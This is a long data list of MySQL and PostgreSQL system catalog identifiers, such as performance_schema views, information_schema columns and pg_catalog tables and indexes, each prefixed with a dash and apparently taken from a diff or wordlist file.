-Privilege_checks_hostname -PRIVILEGE_CHECKS_USER -Privilege_checks_username -PRIVILEGES -PRIVILEGE_TYPE -PROCESSING_TRANSACTION -PROCESSING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP -PROCESSING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP -PROCESSING_TRANSACTION_START_BUFFER_TIMESTAMP -processlist -PROCESSLIST -PROCESSLIST_COMMAND -PROCESSLIST_DB -PROCESSLIST_HOST -PROCESSLIST_ID -PROCESSLIST_INFO -PROCESSLIST_STATE -PROCESSLIST_TIME -PROCESSLIST_USER -Process_priv -Proc_priv -procs_priv -PROFILING -program_name -progress -PROPERTIES -PROPERTY -Proxied_host -Proxied_user -proxies_priv -PRTYPE -ps_check_lost_instrumentation -Public_key_path -PURPOSE -QUANTILE_95 -QUANTILE_99 -QUANTILE_999 -QUERY -QUERY_ID -QUERY_SAMPLE_SEEN -QUERY_SAMPLE_TEXT -QUERY_SAMPLE_TIMER_WAIT -query_time -QUEUEING_TRANSACTION -QUEUEING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP -QUEUEING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP -QUEUEING_TRANSACTION_START_QUEUE_TIMESTAMP -READ_AHEAD_EVICTED_RATE -READ_AHEAD_RATE -read_latency -READ_LOCKED_BY_COUNT -RECEIVED_TRANSACTION_SET -RECOVER_TIME -redundant_index_columns -redundant_index_name -redundant_index_non_unique -REF_COL_NAME -REF_COUNT -REFERENCED_COLUMN_NAME -REFERENCED_TABLE_NAME -REFERENCED_TABLE_SCHEMA -References_priv -REFERENTIAL_CONSTRAINTS -REF_NAME -Relay_log_name -Relay_log_pos -Reload_priv -relocation_ops -relocation_time -REMAINING_DELAY -Repl_client_priv -REPLICATION -replication_applier_configuration -replication_applier_filters -replication_applier_global_filters -replication_applier_status -replication_applier_status_by_coordinator -replication_applier_status_by_worker -replication_asynchronous_connection_failover -replication_asynchronous_connection_failover_managed -replication_connection_configuration -replication_connection_status -replication_group_configuration_version -replication_group_member_actions -replication_group_members -replication_group_member_stats -Repl_slave_priv -requested -REQUESTING_ENGINE_LOCK_ID -REQUESTING_ENGINE_TRANSACTION_ID -REQUESTING_EVENT_ID -REQUESTING_OBJECT_INSTANCE_BEGIN -REQUESTING_THREAD_ID -Require_row_format -Require_table_primary_key_check -RESERVED -RESOURCE_GROUP -RESOURCE_GROUP_ENABLED -RESOURCE_GROUP_NAME -RESOURCE_GROUPS -RESOURCE_GROUP_TYPE -ret -Retry_count -RETURNED_SQLSTATE -ROLE -ROLE_COLUMN_GRANTS -role_edges -ROLE_HOST -ROLE_NAME -ROLE_ROUTINE_GRANTS -ROLE_TABLE_GRANTS -ROUTINE_BODY -ROUTINE_CATALOG -ROUTINE_COMMENT -ROUTINE_DEFINITION -ROUTINE_NAME -ROUTINES -ROUTINE_SCHEMA -ROUTINE_TYPE -ROW_FORMAT -ROWS_AFFECTED -rows_affected_avg -rows_cached -rows_deleted -rows_examined -rows_examined_avg -rows_fetched -rows_full_scanned -rows_inserted -rows_selected -rows_sent -rows_sent_avg -rows_sorted -rows_updated -rwlock_instances -sample_size -SAVEPOINTS -schema_auto_increment_columns -schema_index_statistics -SCHEMA_NAME -schema_object_overview -schemaops -SCHEMA_PRIVILEGES -schema_redundant_indexes -SCHEMATA -schema_table_lock_waits -schema_table_statistics -schema_table_statistics_with_buffer -schema_tables_with_full_table_scans -SCHEMATA_EXTENSIONS -schema_unused_indexes -SECONDARY_ENGINE_ATTRIBUTE -SECURITY_TYPE -SELECT_FULL_JOIN -SELECT_FULL_RANGE_JOIN -select_latency -Select_priv -SELECT_RANGE -SELECT_RANGE_CHECK -SELECT_SCAN -SEQ -SEQ_IN_INDEX -server_cost -server_id -Server_name -servers -SERVER_UUID -SERVER_VERSION -SERVICE_STATE -session -session_account_connect_attrs -session_connect_attrs -session_ssl_status -session_status -session_variables -set_by -SET_HOST -SET_TIME -setup_actors -setup_consumers -setup_instruments -setup_meters -setup_metrics -setup_objects -setup_threads -SET_USER -Show_db_priv -Show_view_priv -Shutdown_priv -SIZE -SIZE_IN_BYTES -slave_master_info -slave_relay_log_info -slave_worker_info -slow_log -Socket -SOCKET_ID -socket_instances -socket_summary_by_event_name -socket_summary_by_instance -SORTLEN -SORT_MERGE_PASSES -SORT_RANGE -SORT_ROWS -SORT_SCAN -sorts_using_scans -sort_using_range -SOURCE -Source_connection_auto_failover -SOURCE_FILE -SOURCE_FUNCTION -SOURCE_LINE -source_uuid -SPACE -SPACE_ID -SPACE_TYPE -SPACE_VERSION -SPECIFIC_CATALOG -SPECIFIC_NAME -SPECIFIC_SCHEMA -SPINS -SQL_DATA_ACCESS -Sql_delay -sql_drop_index -sql_kill_blocking_connection -sql_kill_blocking_query -SQL_MODE -SQL_PATH -SQL_STATE -sql_text -SRS_ID -SRS_NAME -SSL_ALLOWED -Ssl_ca -SSL_CA_FILE -Ssl_capath -SSL_CA_PATH -Ssl_cert -SSL_CERTIFICATE -Ssl_cipher -Ssl_crl -SSL_CRL_FILE -Ssl_crlpath -SSL_CRL_PATH -Ssl_key -ssl_sessions_reused -ssl_type -Ssl_verify_server_cert -SSL_VERIFY_SERVER_CERTIFICATE -ssl_version -START_LSN -STARTS -start_time -stat_description -STATE -statement -statement_analysis -statement_avg_latency -STATEMENT_ID -statement_latency -STATEMENT_NAME -statements -statements_with_errors_or_warnings -statements_with_full_table_scans -statements_with_runtimes_in_95th_percentile -statements_with_sorting -statements_with_temp_tables -STATISTICS -stat_name -STATS_INITIALIZED -STATUS -status_by_account -status_by_host -status_by_thread -status_by_user -STATUS_KEY -STATUS_VALUE -stat_value -ST_GEOMETRY_COLUMNS -STORAGE_ENGINES -ST_SPATIAL_REFERENCE_SYSTEMS -ST_UNITS_OF_MEASURE -SUB_PART -subpart_exists -SUBPARTITION_EXPRESSION -SUBPARTITION_METHOD -SUBPARTITION_NAME -SUBPARTITION_ORDINAL_POSITION -SUBSYSTEM -SUM_CONNECT_ERRORS -SUM_CPU_TIME -SUM_CREATED_TMP_DISK_TABLES -SUM_CREATED_TMP_TABLES -SUM_ERROR_HANDLED -SUM_ERROR_RAISED -SUM_ERRORS -SUM_LOCK_TIME -SUM_NO_GOOD_INDEX_USED -SUM_NO_INDEX_USED -SUM_NUMBER_OF_BYTES_ALLOC -SUM_NUMBER_OF_BYTES_FREE -SUM_NUMBER_OF_BYTES_READ -SUM_NUMBER_OF_BYTES_WRITE -sum_of_other_index_sizes -SUM_ROWS_AFFECTED -SUM_ROWS_EXAMINED -SUM_ROWS_SENT -SUM_SELECT_FULL_JOIN -SUM_SELECT_FULL_RANGE_JOIN -SUM_SELECT_RANGE -SUM_SELECT_RANGE_CHECK -SUM_SELECT_SCAN -SUM_SORT_MERGE_PASSES -SUM_SORT_RANGE -SUM_SORT_ROWS -SUM_SORT_SCAN -SUM_STATEMENTS_WAIT -SUM_TIMER_DELETE -SUM_TIMER_EXECUTE -SUM_TIMER_FETCH -SUM_TIMER_INSERT -SUM_TIMER_MISC -SUM_TIMER_READ -SUM_TIMER_READ_EXTERNAL -SUM_TIMER_READ_HIGH_PRIORITY -SUM_TIMER_READ_NO_INSERT -SUM_TIMER_READ_NORMAL -SUM_TIMER_READ_ONLY -SUM_TIMER_READ_WITH_SHARED_LOCKS -SUM_TIMER_READ_WRITE -SUM_TIMER_UPDATE -SUM_TIMER_WAIT -SUM_TIMER_WRITE -SUM_TIMER_WRITE_ALLOW_WRITE -SUM_TIMER_WRITE_CONCURRENT_INSERT -SUM_TIMER_WRITE_EXTERNAL -SUM_TIMER_WRITE_LOW_PRIORITY -SUM_TIMER_WRITE_NORMAL -SUM_WARNINGS -Super_priv -SUPPORT -surname -SWAPS -sys_config -sys_version -TABLE_CATALOG -TABLE_COLLATION -TABLE_COMMENT -TABLE_CONSTRAINTS -TABLE_CONSTRAINTS_EXTENSIONS -table_handles -TABLE_ID -table_io_waits_summary_by_index_usage -table_io_waits_summary_by_table -table_lock_waits_summary_by_table -TABLE_NAME -Table_priv -TABLE_PRIVILEGES -TABLE_ROWS -TABLES -table_scans -TABLE_SCHEMA -TABLES_EXTENSIONS -TABLESPACE_NAME -TABLESPACES_EXTENSIONS -tables_priv -TABLE_TYPE -TELEMETRY_ACTIVE -thd_id -thread -thread_id -THREAD_OS_ID -THREAD_PRIORITY -threads -TIME -TIMED -TIME_DISABLED -TIME_ELAPSED -TIME_ENABLED -TIMER_END -TIME_RESET -TIMER_FREQUENCY -TIMER_NAME -TIMER_OVERHEAD -TIMER_PREPARE -TIMER_RESOLUTION -TIMER_START -TIMER_WAIT -Timestamp -time_zone -TIME_ZONE -Time_zone_id -time_zone_leap_second -time_zone_name -time_zone_transition -time_zone_transition_type -tls_channel_status -Tls_ciphersuites -Tls_version -tmp_disk_tables -tmp_tables -tmp_tables_to_disk_pct -TO_HOST -total -total_allocated -TOTAL_CONNECTIONS -TOTAL_EXTENTS -total_latency -TOTAL_MEMORY -total_memory_allocated -total_read -total_requested -TOTAL_ROW_VERSIONS -total_written -TO_USER -TRACE -TRANSACTION_COUNTER -TRANSACTIONS -TRANSACTIONS_COMMITTED_ALL_MEMBERS -Transition_time -Transition_type_id -TRIGGER_CATALOG -TRIGGER_NAME -Trigger_priv -TRIGGERS -TRIGGER_SCHEMA -trx_adaptive_hash_latched -trx_adaptive_hash_timeout -trx_autocommit -trx_autocommit_non_locking -trx_concurrency_tickets -trx_foreign_key_checks -trx_id -trx_isolation_level -trx_is_read_only -trx_last_foreign_key_error -trx_latency -trx_lock_memory_bytes -trx_lock_structs -trx_mysql_thread_id -trx_operation_state -trx_query -trx_requested_lock_id -trx_rows_locked -trx_rows_modified -trx_schedule_weight -trx_started -trx_state -trx_tables_in_use -trx_tables_locked -trx_unique_checks -trx_wait_started -trx_weight -TYPE -UDF_LIBRARY -UDF_NAME -UDF_RETURN_TYPE -UDF_TYPE -UDF_USAGE_COUNT -UNCOMPRESS_CURRENT -UNCOMPRESSED_BYTES_COUNTER -uncompress_ops -uncompress_time -UNCOMPRESS_TOTAL -UNIQUE_CONSTRAINT_CATALOG -UNIQUE_CONSTRAINT_NAME -UNIQUE_CONSTRAINT_SCHEMA -unique_hosts -unique_users -UNIT -UNIT_NAME -UNIT_TYPE -UPDATE_COUNT -update_latency -Update_priv -UPDATE_RULE -updates -UPDATE_TIME -url -Use_leap_seconds -user -USER -User_attributes -USER_ATTRIBUTES -user_defined_functions -user_host -User_name -Username -User_password -USER_PRIVILEGES -users -user_summary -user_summary_by_file_io -user_summary_by_file_io_type -user_summary_by_stages -user_summary_by_statement_latency -user_summary_by_statement_type -user_variables_by_thread -Uuid -VALUE -variable -VARIABLE_NAME -VARIABLE_PATH -variables_by_thread -variables_info -VARIABLE_SOURCE -VARIABLE_VALUE -VCPU_IDS -version -VERSION -VIEW_CATALOG -VIEW_DEFINITION -VIEW_ID -VIEW_NAME -VIEW_ROUTINE_USAGE -VIEWS -VIEW_SCHEMA -VIEW_TABLE_USAGE -VOLATILITY -wait_age -wait_age_secs -wait_classes_global_by_avg_latency -wait_classes_global_by_latency -waiting_account -waiting_lock_duration -waiting_lock_id -waiting_lock_mode -waiting_lock_type -waiting_pid -waiting_query -waiting_query_rows_affected -waiting_query_rows_examined -waiting_query_secs -waiting_thread_id -waiting_trx_age -waiting_trx_id -waiting_trx_rows_locked -waiting_trx_rows_modified -waiting_trx_started -waits_by_host_by_latency -waits_by_user_by_latency -waits_global_by_latency -wait_started -warn_count -warning_pct -WARNINGS -Weight -WITH_ADMIN_OPTION -With_grant -WITH_GRANT_OPTION -WORD -WORK_COMPLETED -WORKER_ID -WORK_ESTIMATED -Wrapper -write_latency -WRITE_LOCKED_BY_THREAD_ID -write_pct -x$host_summary -x$host_summary_by_file_io -x$host_summary_by_file_io_type -x$host_summary_by_stages -x$host_summary_by_statement_latency -x$host_summary_by_statement_type -x$innodb_buffer_stats_by_schema -x$innodb_buffer_stats_by_table -x$innodb_lock_waits -x$io_by_thread_by_latency -x$io_global_by_file_by_bytes -x$io_global_by_file_by_latency -x$io_global_by_wait_by_bytes -x$io_global_by_wait_by_latency -x$latest_file_io -x$memory_by_host_by_current_bytes -x$memory_by_thread_by_current_bytes -x$memory_by_user_by_current_bytes -x$memory_global_by_current_bytes -x$memory_global_total -x$processlist -x$ps_digest_95th_percentile_by_avg_us -x$ps_digest_avg_latency_distribution -x$ps_schema_table_statistics_io -x$schema_flattened_keys -x$schema_index_statistics -x$schema_table_lock_waits -x$schema_table_statistics -x$schema_table_statistics_with_buffer -x$schema_tables_with_full_table_scans -x$session -x$statement_analysis -x$statements_with_errors_or_warnings -x$statements_with_full_table_scans -x$statements_with_runtimes_in_95th_percentile -x$statements_with_sorting -x$statements_with_temp_tables -x$user_summary -x$user_summary_by_file_io -x$user_summary_by_file_io_type -x$user_summary_by_stages -x$user_summary_by_statement_latency -x$user_summary_by_statement_type -x$wait_classes_global_by_avg_latency -x$wait_classes_global_by_latency -x$waits_by_host_by_latency -x$waits_by_user_by_latency -x$waits_global_by_latency -x509_issuer -x509_subject -XA -XA_STATE -XID_BQUAL -XID_FORMAT_ID -XID_GTRID -YOUNG_MAKE_PER_THOUSAND_GETS -ZIP_PAGE_SIZE -ZSTD_COMPRESSION_LEVEL - -[PostgreSQL] -abbrev -action_condition -action_order -action_orientation -action_reference_new_row -action_reference_new_table -action_reference_old_row -action_reference_old_table -action_statement -action_timing -active -active_pid -active_time -adbin -address -administrable_role_authorizations -admin_option -adnum -adrelid -aggcombinefn -aggdeserialfn -aggfinalextra -aggfinalfn -aggfinalmodify -aggfnoid -agginitval -aggkind -aggmfinalextra -aggmfinalfn -aggmfinalmodify -aggminitval -aggminvtransfn -aggmtransfn -aggmtransspace -aggmtranstype -aggnumdirectargs -aggserialfn -aggsortop -aggtransfn -aggtransspace -aggtranstype -allocated_size -amhandler -amname -amopfamily -amoplefttype -amopmethod -amopopr -amoppurpose -amoprighttype -amopsortfamily -amopstrategy -amproc -amprocfamily -amproclefttype -amprocnum -amprocrighttype -amtype -analyze_count -applicable_roles -application_name -applied -apply_error_count -archived_count -as_locator -attacl -attalign -attbyval -attcacheoff -attcollation -attcompression -attfdwoptions -attgenerated -atthasdef -atthasmissing -attidentity -attinhcount -attisdropped -attislocal -attlen -attmissingval -attname -attnames -attndims -attnotnull -attnum -attoptions -attrelid -attribute_default -attribute_name -attributes -attribute_udt_catalog -attribute_udt_name -attribute_udt_schema -attstattarget -attstorage -atttypid -atttypmod -auth_method -authorization_identifier -autoanalyze_count -autovacuum_count -avg_width -backend_start -backend_type -backend_xid -backend_xmin -backup_streamed -backup_total -bits -blk_read_time -blks_exists -blks_hit -blks_read -blks_written -blks_zeroed -blk_write_time -block_distance -blocks_done -blocks_total -boot_val -buffers_alloc -buffers_backend -buffers_backend_fsync -buffers_checkpoint -buffers_clean -bytes_processed -bytes_total -cache_size -calls -castcontext -castfunc -castmethod -castsource -casttarget -catalog_name -catalog_xmin -category -cfgname -cfgnamespace -cfgowner -cfgparser -character_maximum_length -character_octet_length -character_repertoire -character_set_catalog -character_set_name -character_sets -character_set_schema -character_value -check_clause -check_constraint_routine_usage -check_constraints -check_option -checkpoints_req -checkpoints_timed -checkpoint_sync_time -checkpoint_write_time -checksum_failures -checksum_last_failure -child_tables_done -child_tables_total -chunk_data -chunk_id -chunk_seq -cipher -classid -classoid -client_addr -client_dn -client_hostname -client_port -client_serial -cluster_index_relid -cmax -cmd -cmin -collation_catalog -collation_character_set_applicability -collation_name -collations -collation_schema -collcollate -collctype -collection_type_identifier -collencoding -colliculocale -collicurules -collisdeterministic -collname -collnamespace -collowner -collprovider -collversion -column_column_usage -column_default -column_domain_usage -column_name -column_options -column_privileges -columns -column_udt_usage -command -comment -comments -commit_action -conbin -condefault -condeferrable -condeferred -conexclop -confdelsetcols -confdeltype -conffeqop -confirmed_flush_lsn -confkey -confl_active_logicalslot -confl_bufferpin -confl_deadlock -conflicting -conflicts -confl_lock -confl_snapshot -confl_tablespace -confmatchtype -conforencoding -confrelid -confupdtype -conindid -coninhcount -conislocal -conkey -conname -connamespace -conninfo -connoinherit -conowner -conparentid -conpfeqop -conppeqop -conproc -conrelid -constraint_catalog -constraint_column_usage -constraint_name -constraint_schema -constraint_table_usage -constraint_type -context -contoencoding -contype -contypid -convalidated -correlation -created -creation_time -credentials_delegated -ctid -current_child_table_relid -current_locker_pid -custom_plans -cycle -cycle_option -data -database -datacl -datallowconn -data_type -data_type_privileges -datcollate -datcollversion -datconnlimit -datctype -datdba -datetime_precision -datfrozenxid -daticulocale -daticurules -datid -datistemplate -datlocprovider -datminmxid -datname -datoid -dattablespace -dbid -deadlocks -defaclacl -defaclnamespace -defaclobjtype -defaclrole -default_character_set_catalog -default_character_set_name -default_character_set_schema -default_collate_catalog -default_collate_name -default_collate_schema -default_version -definition -delete_rule -dependencies -dependent_column -deptype -description -dictinitoption -dictname -dictnamespace -dictowner -dicttemplate -domain_catalog -domain_constraints -domain_default -domain_name -domains -domain_schema -domain_udt_usage -dtd_identifier -elem_count_histogram -element_types -enabled_roles -encoding -encrypted -enforced -enumlabel -enumsortorder -enumtypid -enumvals -error -ev_action -ev_class -ev_enabled -event_manipulation -event_object_catalog -event_object_column -event_object_schema -event_object_table -evictions -ev_qual -evtenabled -evtevent -evtfoid -evtname -evtowner -evttags -ev_type -expr -exprs -extcondition -extconfig -extends -extend_time -external_id -external_language -external_name -extname -extnamespace -extowner -extra_desc -extrelocatable -ext_stats_computed -ext_stats_total -extversion -failed_count -fastpath -fdwacl -fdwhandler -fdwname -fdwoptions -fdwowner -fdwvalidator -feature_id -feature_name -file_name -flushed_lsn -flushes -flush_lag -flush_lsn -foreign_data_wrapper_catalog -foreign_data_wrapper_language -foreign_data_wrapper_name -foreign_data_wrapper_options -foreign_data_wrappers -foreign_server_catalog -foreign_server_name -foreign_server_options -foreign_servers -foreign_server_type -foreign_server_version -foreign_table_catalog -foreign_table_name -foreign_table_options -foreign_tables -foreign_table_schema -form_of_use -free_bytes -free_chunks -from_sql -fsyncs -fsync_time -ftoptions -ftrelid -ftserver -funcid -funcname -generation_expression -generic_plans -gid -granted -grantee -grantor -grolist -groname -grosysid -group_name -gss_authenticated -hasindexes -hasrules -hastriggers -heap_blks_hit -heap_blks_read -heap_blks_scanned -heap_blks_total -heap_blks_vacuumed -heap_tuples_scanned -heap_tuples_written -histogram_bounds -hit -hits -ident -identity_cycle -identity_generation -identity_increment -identity_maximum -identity_minimum -identity_start -idle_in_transaction_time -idx_blks_hit -idx_blks_read -idx_scan -idx_tup_fetch -idx_tup_read -implementation_info_id -implementation_info_name -increment -increment_by -indcheckxmin -indclass -indcollation -indexdef -indexname -indexprs -index_rebuild_count -index_relid -indexrelid -indexrelname -index_vacuum_count -indimmediate -indisclustered -indisexclusion -indislive -indisprimary -indisready -indisreplident -indisunique -indisvalid -indkey -indnatts -indnkeyatts -indnullsnotdistinct -indoption -indpred -indrelid -information_schema_catalog_name -inhdetachpending -inherited -inherit_option -inhparent -inhrelid -inhseqno -initially_deferred -initprivs -installed -installed_version -integer_value -interval_precision -interval_type -io_depth -is_binary -is_deferrable -is_derived_reference_attribute -is_deterministic -is_dst -is_final -is_generated -is_grantable -is_holdable -is_identity -is_implicitly_invocable -is_insertable_into -is_instantiable -is_instead -is_nullable -is_null_call -ispopulated -is_result -is_scrollable -is_self_referencing -issuer_dn -is_supported -is_trigger_deletable -is_trigger_insertable_into -is_trigger_updatable -is_typed -is_udt_dependent -is_updatable -is_user_defined_cast -is_verified_by -key_column_usage -kinds -label -lanacl -laninline -lanispl -lanname -lanowner -lanplcallfoid -lanpltrusted -lanvalidator -last_altered -last_analyze -last_archived_time -last_archived_wal -last_autoanalyze -last_autovacuum -last_failed_time -last_failed_wal -last_idx_scan -last_msg_receipt_time -last_msg_send_time -last_seq_scan -last_vacuum -last_value -latest_end_lsn -latest_end_time -leader_pid -level -library_name -line_number -local_id -local_lsn -lockers_done -lockers_total -locktype -loid -lomacl -lomowner -mapcfg -mapdict -map_name -map_number -mapseqno -maptokentype -match_option -matviewname -matviewowner -max_dead_tuples -max_dynamic_result_sets -maximum_cardinality -maximum_value -max_val -max_value -maxwritten_clean -member -minimum_value -min_val -min_value -mode -module_catalog -module_name -module_schema -most_common_base_freqs -most_common_elem_freqs -most_common_elems -most_common_freqs -most_common_val_nulls -most_common_vals -name -n_dead_tup -n_distinct -netmask -new_savepoint_level -n_ins_since_vacuum -n_live_tup -n_mod_since_analyze -nspacl -nspname -nspowner -n_tup_del -n_tup_hot_upd -n_tup_ins -n_tup_newpage_upd -n_tup_upd -null_frac -nulls_distinct -numbackends -num_dead_tuples -numeric_precision -numeric_precision_radix -numeric_scale -object -object_catalog -object_name -object_schema -object_type -objid -objname -objnamespace -objoid -objsubid -objtype -off -oid -op_bytes -opcdefault -opcfamily -opcintype -opckeytype -opcmethod -opcname -opcnamespace -opcowner -opfmethod -opfname -opfnamespace -opfowner -oprcanhash -oprcanmerge -oprcode -oprcom -oprjoin -oprkind -oprleft -oprname -oprnamespace -oprnegate -oprowner -oprrest -oprresult -oprright -option_name -options -option_value -ordering_category -ordering_form -ordering_routine_catalog -ordering_routine_name -ordering_routine_schema -ordinal_position -owner -pad_attribute -page -pageno -paracl -parameter_default -parameter_mode -parameter_name -parameters -parameter_style -parameter_types -parent -parname -partattrs -partclass -partcollation -partdefid -partexprs -partitions_done -partitions_total -partnatts -partrelid -partstrat -passwd -pending_restart -permissive -pg_aggregate -pg_aggregate_fnoid_index -pg_am -pg_am_name_index -pg_am_oid_index -pg_amop -pg_amop_fam_strat_index -pg_amop_oid_index -pg_amop_opr_fam_index -pg_amproc -pg_amproc_fam_proc_index -pg_amproc_oid_index -pg_attrdef -pg_attrdef_adrelid_adnum_index -pg_attrdef_oid_index -pg_attribute -pg_attribute_relid_attnam_index -pg_attribute_relid_attnum_index -pg_authid -pg_authid_oid_index -pg_authid_rolname_index -pg_auth_members -pg_auth_members_grantor_index -pg_auth_members_member_role_index -pg_auth_members_oid_index -pg_auth_members_role_member_index -pg_available_extensions -pg_available_extension_versions -pg_backend_memory_contexts -pg_cast -pg_cast_oid_index -pg_cast_source_target_index -pg_class -pg_class_oid_index -pg_class_relname_nsp_index -pg_class_tblspc_relfilenode_index -pg_collation -pg_collation_name_enc_nsp_index -pg_collation_oid_index -pg_config -pg_constraint -pg_constraint_conname_nsp_index -pg_constraint_conparentid_index -pg_constraint_conrelid_contypid_conname_index -pg_constraint_contypid_index -pg_constraint_oid_index -pg_conversion -pg_conversion_default_index -pg_conversion_name_nsp_index -pg_conversion_oid_index -pg_cursors -pg_database -pg_database_datname_index -pg_database_oid_index -pg_db_role_setting -pg_db_role_setting_databaseid_rol_index -pg_default_acl -pg_default_acl_oid_index -pg_default_acl_role_nsp_obj_index -pg_depend -pg_depend_depender_index -pg_depend_reference_index -pg_description -pg_description_o_c_o_index -pg_enum -pg_enum_oid_index -pg_enum_typid_label_index -pg_enum_typid_sortorder_index -pg_event_trigger -pg_event_trigger_evtname_index -pg_event_trigger_oid_index -pg_extension -pg_extension_name_index -pg_extension_oid_index -pg_file_settings -pg_foreign_data_wrapper -pg_foreign_data_wrapper_name_index -pg_foreign_data_wrapper_oid_index -_pg_foreign_data_wrappers -pg_foreign_server -pg_foreign_server_name_index -pg_foreign_server_oid_index -_pg_foreign_servers -pg_foreign_table -_pg_foreign_table_columns -pg_foreign_table_relid_index -_pg_foreign_tables -pg_group -pg_hba_file_rules -pg_ident_file_mappings -pg_index -pg_indexes -pg_index_indexrelid_index -pg_index_indrelid_index -pg_inherits -pg_inherits_parent_index -pg_inherits_relid_seqno_index -pg_init_privs -pg_init_privs_o_c_o_index -pg_language -pg_language_name_index -pg_language_oid_index -pg_largeobject -pg_largeobject_loid_pn_index -pg_largeobject_metadata -pg_largeobject_metadata_oid_index -pg_locks -pg_matviews -pg_namespace -pg_namespace_nspname_index -pg_namespace_oid_index -pg_opclass -pg_opclass_am_name_nsp_index -pg_opclass_oid_index -pg_operator -pg_operator_oid_index -pg_operator_oprname_l_r_n_index -pg_opfamily -pg_opfamily_am_name_nsp_index -pg_opfamily_oid_index -pg_parameter_acl -pg_parameter_acl_oid_index -pg_parameter_acl_parname_index -pg_partitioned_table -pg_partitioned_table_partrelid_index -pg_policies -pg_policy -pg_policy_oid_index -pg_policy_polrelid_polname_index -pg_prepared_statements -pg_prepared_xacts -pg_proc -pg_proc_oid_index -pg_proc_proname_args_nsp_index -pg_publication -pg_publication_namespace -pg_publication_namespace_oid_index -pg_publication_namespace_pnnspid_pnpubid_index -pg_publication_oid_index -pg_publication_pubname_index -pg_publication_rel -pg_publication_rel_oid_index -pg_publication_rel_prpubid_index -pg_publication_rel_prrelid_prpubid_index -pg_publication_tables -pg_range -pg_range_rngmultitypid_index -pg_range_rngtypid_index -pg_replication_origin -pg_replication_origin_roiident_index -pg_replication_origin_roname_index -pg_replication_origin_status -pg_replication_slots -pg_rewrite -pg_rewrite_oid_index -pg_rewrite_rel_rulename_index -pg_roles -pg_rules -pg_seclabel -pg_seclabel_object_index -pg_seclabels -pg_sequence -pg_sequences -pg_sequence_seqrelid_index -pg_settings -pg_shadow -pg_shdepend -pg_shdepend_depender_index -pg_shdepend_reference_index -pg_shdescription -pg_shdescription_o_c_index -pg_shmem_allocations -pg_shseclabel -pg_shseclabel_object_index -pg_stat_activity -pg_stat_all_indexes -pg_stat_all_tables -pg_stat_archiver -pg_stat_bgwriter -pg_stat_database -pg_stat_database_conflicts -pg_stat_gssapi -pg_stat_io -pg_statio_all_indexes -pg_statio_all_sequences -pg_statio_all_tables -pg_statio_sys_indexes -pg_statio_sys_sequences -pg_statio_sys_tables -pg_statio_user_indexes -pg_statio_user_sequences -pg_statio_user_tables -pg_statistic -pg_statistic_ext -pg_statistic_ext_data -pg_statistic_ext_data_stxoid_inh_index -pg_statistic_ext_name_index -pg_statistic_ext_oid_index -pg_statistic_ext_relid_index -pg_statistic_relid_att_inh_index -pg_stat_progress_analyze -pg_stat_progress_basebackup -pg_stat_progress_cluster -pg_stat_progress_copy -pg_stat_progress_create_index -pg_stat_progress_vacuum -pg_stat_recovery_prefetch -pg_stat_replication -pg_stat_replication_slots -pg_stats -pg_stats_ext -pg_stats_ext_exprs -pg_stat_slru -pg_stat_ssl -pg_stat_subscription -pg_stat_subscription_stats -pg_stat_sys_indexes -pg_stat_sys_tables -pg_stat_user_functions -pg_stat_user_indexes -pg_stat_user_tables -pg_stat_wal -pg_stat_wal_receiver -pg_stat_xact_all_tables -pg_stat_xact_sys_tables -pg_stat_xact_user_functions -pg_stat_xact_user_tables -pg_subscription -pg_subscription_oid_index -pg_subscription_rel -pg_subscription_rel_srrelid_srsubid_index -pg_subscription_subname_index -pg_tables -pg_tablespace -pg_tablespace_oid_index -pg_tablespace_spcname_index -pg_timezone_abbrevs -pg_timezone_names -pg_toast_1213 -pg_toast_1213_index -pg_toast_1247 -pg_toast_1247_index -pg_toast_1255 -pg_toast_1255_index -pg_toast_1260 -pg_toast_1260_index -pg_toast_1262 -pg_toast_1262_index -pg_toast_13494 -pg_toast_13494_index -pg_toast_13499 -pg_toast_13499_index -pg_toast_13504 -pg_toast_13504_index -pg_toast_13509 -pg_toast_13509_index -pg_toast_1417 -pg_toast_1417_index -pg_toast_1418 -pg_toast_1418_index -pg_toast_2328 -pg_toast_2328_index -pg_toast_2396 -pg_toast_2396_index -pg_toast_2600 -pg_toast_2600_index -pg_toast_2604 -pg_toast_2604_index -pg_toast_2606 -pg_toast_2606_index -pg_toast_2609 -pg_toast_2609_index -pg_toast_2612 -pg_toast_2612_index -pg_toast_2615 -pg_toast_2615_index -pg_toast_2618 -pg_toast_2618_index -pg_toast_2619 -pg_toast_2619_index -pg_toast_2620 -pg_toast_2620_index -pg_toast_2964 -pg_toast_2964_index -pg_toast_3079 -pg_toast_3079_index -pg_toast_3118 -pg_toast_3118_index -pg_toast_3256 -pg_toast_3256_index -pg_toast_3350 -pg_toast_3350_index -pg_toast_3381 -pg_toast_3381_index -pg_toast_3394 -pg_toast_3394_index -pg_toast_3429 -pg_toast_3429_index -pg_toast_3456 -pg_toast_3456_index -pg_toast_3466 -pg_toast_3466_index -pg_toast_3592 -pg_toast_3592_index -pg_toast_3596 -pg_toast_3596_index -pg_toast_3600 -pg_toast_3600_index -pg_toast_6000 -pg_toast_6000_index -pg_toast_6100 -pg_toast_6100_index -pg_toast_6106 -pg_toast_6106_index -pg_toast_6243 -pg_toast_6243_index -pg_toast_826 -pg_toast_826_index -pg_transform -pg_transform_oid_index -pg_transform_type_lang_index -pg_trigger -pg_trigger_oid_index -pg_trigger_tgconstraint_index -pg_trigger_tgrelid_tgname_index -pg_ts_config -pg_ts_config_cfgname_index -pg_ts_config_map -pg_ts_config_map_index -pg_ts_config_oid_index -pg_ts_dict -pg_ts_dict_dictname_index -pg_ts_dict_oid_index -pg_ts_parser -pg_ts_parser_oid_index -pg_ts_parser_prsname_index -pg_ts_template -pg_ts_template_oid_index -pg_ts_template_tmplname_index -pg_type -pg_type_oid_index -pg_type_typname_nsp_index -pg_user -pg_user_mapping -pg_user_mapping_oid_index -_pg_user_mappings -pg_user_mappings -pg_user_mapping_user_server_index -pg_username -pg_views -phase -pid -plugin -pnnspid -pnpubid -polcmd -policyname -polname -polpermissive -polqual -polrelid -polroles -polwithcheck -position_in_unique_constraint -prattrs -prefetch -prepared -prepare_time -principal -privilege_type -privtype -proacl -proallargtypes -proargdefaults -proargmodes -proargnames -proargtypes -probin -proconfig -procost -proisstrict -prokind -prolang -proleakproof -proname -pronamespace -pronargdefaults -pronargs -proowner -proparallel -proretset -prorettype 